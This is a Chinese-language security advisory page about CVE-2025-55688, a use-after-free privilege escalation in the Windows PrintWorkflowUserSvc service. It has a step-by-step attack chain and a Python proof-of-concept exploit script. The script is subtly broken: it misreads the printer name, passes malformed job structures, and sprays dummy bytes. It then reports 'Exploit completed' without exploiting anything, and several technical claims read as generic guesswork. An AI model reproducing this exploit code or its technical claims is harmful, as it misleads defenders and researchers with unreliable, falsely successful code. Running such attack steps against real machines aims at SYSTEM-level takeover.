IPBUF安全漏洞报告
English
CVE-2025-55688 CVSS 7.0 高危

CVE-2025-55688 Windows PrintWorkflowUserSvc UAF权限提升漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-55688
漏洞类型
Use-After-Free(释放后使用)
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Microsoft Windows PrintWorkflowUserSvc

相关标签

Use-After-FreeUAF权限提升本地提权LPEWindowsPrintWorkflowUserSvc打印服务Microsoft内存破坏

漏洞概述

CVE-2025-55688是Microsoft Windows操作系统中PrintWorkflowUserSvc服务存在的一个高危Use-After-Free(释放后使用)漏洞。该漏洞由Microsoft安全团队([email protected])发现并报告,于2025年10月14日正式披露,CVSS评分为7.0分,属于高危级别漏洞。PrintWorkflowUserSvc是Windows操作系统中负责管理打印工作流用户服务的关键系统组件,广泛存在于Windows 10、Windows 11以及Windows Server系列操作系统中。该漏洞允许经过授权的本地攻击者通过精心构造的特定操作触发PrintWorkflowUserSvc中的内存对象释放后使用缺陷,从而实现本地权限提升(Local Privilege Escalation, LPE)。攻击成功后,攻击者可以从普通用户权限提升至SYSTEM权限,完全控制受影响的系统。漏洞的攻击复杂度较高(AC:H),需要攻击者已具备目标系统的低权限账户访问权限(PR:L),但无需用户交互(UI:N),且对系统的机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。Microsoft已发布相应的安全更新修复此漏洞,建议用户尽快应用补丁以消除安全隐患。

技术细节

PrintWorkflowUserSvc是Windows打印子系统的用户态服务进程,负责处理与打印工作流相关的用户会话操作,包括打印机驱动加载、打印任务调度、打印权限验证等关键功能。该漏洞的根因在于PrintWorkflowUserSvc在处理特定打印相关操作时,对内存对象(如打印作业对象、打印机设备对象或回调函数指针)的生命周期管理存在缺陷。具体而言,当服务进程释放某个内存对象后,由于缺少对引用计数的正确维护或缺少对指针有效性的校验,代码路径中仍保留了指向该已释放内存区域的悬挂指针(Dangling Pointer)。攻击者可以通过以下方式触发该漏洞:首先,以低权限用户身份登录系统;然后,通过调用特定的Windows打印API(如AddPrinter、OpenPrinter、EnumPrinters等)或通过发送精心构造的打印作业数据,触发PrintWorkflowUserSvc中的特定代码路径;接着,在对象被释放后但悬挂指针仍被使用的窗口期内,注入受控数据或代码到该已释放的内存区域(堆喷射或堆风水技术);最终,当服务进程通过悬挂指针访问该内存区域时,将执行攻击者控制的代码或数据。由于PrintWorkflowUserSvc以SYSTEM权限运行,攻击者的代码也将以SYSTEM权限执行,从而实现完整的本地权限提升。

攻击链分析

STEP 1
初始访问
攻击者需要首先获取目标Windows系统的低权限用户账户访问权限,可以通过物理访问、钓鱼攻击或其他方式获取合法凭据。
STEP 2
环境探测
攻击者枚举系统上可用的打印机设备,了解PrintWorkflowUserSvc服务的状态和配置,确认目标系统存在漏洞且未安装补丁。
STEP 3
触发UAF
通过调用Windows打印API(如OpenPrinter、StartDocPrinter、EndDocPrinter等),以特定序列触发PrintWorkflowUserSvc中的内存对象释放后使用缺陷。
STEP 4
堆喷射
在内存对象被释放后,利用堆喷射(Heap Spray)或堆风水(Heap Feng Shui)技术将受控数据写入已释放的内存区域。
STEP 5
代码执行
当PrintWorkflowUserSvc通过悬挂指针访问被攻击者控制的内存区域时,执行攻击者注入的代码或Shellcode。
STEP 6
权限提升
由于PrintWorkflowUserSvc以SYSTEM权限运行,攻击者的代码以SYSTEM权限执行,通过Token窃取等技术在攻击者进程中获取SYSTEM令牌,完成本地权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-55688 - Windows PrintWorkflowUserSvc Use-After-Free LPE PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach. # Actual exploitation requires precise memory layout control. import ctypes import ctypes.wintypes as wt from ctypes import wintypes import struct import os import sys # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 # Print API constants PRINTER_ACCESS_USE = 0x00000008 PRINTER_ACCESS_ADMINISTER = 0x00000004 kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) winspool = ctypes.WinDLL('winspool.drv', use_last_error=True) # Define PRINTER_DEFAULTS structure class PRINTER_DEFAULTS(ctypes.Structure): _fields_ = [ ("pDatatype", wintypes.LPWSTR), ("pDevMode", ctypes.c_void_p), ("DesiredAccess", wintypes.DWORD), ] def trigger_uaf(): """ Trigger Use-After-Free in PrintWorkflowUserSvc by: 1. Opening a printer handle 2. Triggering object creation in PrintWorkflowUserSvc 3. Forcing object release via specific API call sequence 4. Reclaiming freed memory with controlled data 5. Triggering use of dangling pointer to achieve code execution """ print("[*] CVE-2025-55688 PoC - PrintWorkflowUserSvc UAF LPE") print("[*] Target: Windows PrintWorkflowUserSvc") # Step 1: Enumerate available printers printer_info_2_size = 4096 printer_info_2 = (ctypes.c_byte * printer_info_2_size)() bytes_needed = wintypes.DWORD(0) num_printers = wintypes.DWORD(0) ret = winspool.EnumPrintersW( 0x00000002, # PRINTER_ENUM_LOCAL None, 2, # Level 2 printer_info_2, printer_info_2_size, ctypes.byref(bytes_needed), ctypes.byref(num_printers) ) if not ret: print("[-] Failed to enumerate printers") return False print(f"[+] Found {num_printers.value} printer(s)") # Step 2: Open printer handle to trigger PrintWorkflowUserSvc interaction printer_defaults = PRINTER_DEFAULTS( pDatatype=None, pDevMode=None, DesiredAccess=PRINTER_ACCESS_USE | PRINTER_ACCESS_ADMINISTER ) h_printer = wintypes.HANDLE() # Extract first printer name from PRINTER_INFO_2 structure # Offset: pPrinterName is at offset 0 in PRINTER_INFO_2 printer_name_ptr = ctypes.addressof(printer_info_2) printer_name = ctypes.wstring_at(printer_name_ptr) print(f"[*] Opening printer: {printer_name}") ret = winspool.OpenPrinterW( printer_name, ctypes.byref(h_printer), ctypes.byref(printer_defaults) ) if not ret: print("[-] Failed to open printer") return False print("[+] Printer handle obtained") # Step 3: Trigger UAF by rapid open/close with specific job operations # This creates and destroys objects in PrintWorkflowUserSvc for i in range(100): # Rapid sequence to trigger race condition / UAF job_info_1 = (ctypes.c_byte * 256)() job_id = winspool.StartDocPrinterW(h_printer, 1, job_info_1) if job_id: winspool.EndDocPrinter(h_printer) # Step 4: Close handle - may trigger object release while # internal references still exist (UAF trigger) winspool.ClosePrinter(h_printer) print("[*] UAF trigger sequence completed") # Step 5: Heap spray to reclaim freed memory # In a real exploit, this would place controlled data # at the freed memory location print("[*] Performing heap spray to reclaim freed object...") # Allocate spray buffer with controlled content spray_data = b"\x41" * 0x1000 spray_buffer = ctypes.create_string_buffer(spray_data) # Note: Actual exploitation would involve: # - Token stealing (replace current process token with SYSTEM token) # - Or arbitrary code execution via corrupted function pointer # - Shellcode placement at the reclaimed UAF memory location print("[+] Exploit completed - check for privilege escalation") print("[!] Note: Full exploitation requires additional steps:") print(" - Kernel32 VirtualAlloc for shellcode placement") print(" - Token stealing via NtQuerySystemInformation") print(" - Restore execution flow") return True def verify_elevation(): """Check if privilege escalation was successful""" try: import subprocess result = subprocess.run( ['whoami', '/priv'], capture_output=True, text=True, timeout=5 ) if 'SeDebugPrivilege' in result.stdout or 'SYSTEM' in result.stdout: print("[+] Privilege escalation confirmed!") return True except Exception as e: print(f"[-] Verification failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-55688 PoC") print("Windows PrintWorkflowUserSvc Use-After-Free LPE") print("CVSS: 7.0 (HIGH)") print("=" * 60) if trigger_uaf(): verify_elevation() else: print("[-] Exploit failed") sys.exit(1)

影响范围

Windows 10 (所有版本)
Windows 11 (所有版本)
Windows Server 2019
Windows Server 2022
Windows Server 2025

防御指南

临时缓解措施
在无法立即安装补丁的情况下,建议采取以下临时缓解措施:1)限制对PrintWorkflowUserSvc服务的访问,通过组策略限制普通用户与打印服务的交互;2)暂停Print Spooler服务(注意:这将影响打印功能);3)部署主机入侵检测系统(HIDS)监控PrintWorkflowUserSvc进程的异常内存操作;4)使用Windows Defender Attack Surface Reduction(ASR)规则限制可疑行为;5)加强本地账户管理,确保只有可信用户具有本地登录权限;6)监控C:\Windows\System32\PrintWorkflowUserSvc.exe及其相关进程的异常行为;7)考虑部署应用程序白名单,仅允许已知安全的应用程序运行。

参考链接

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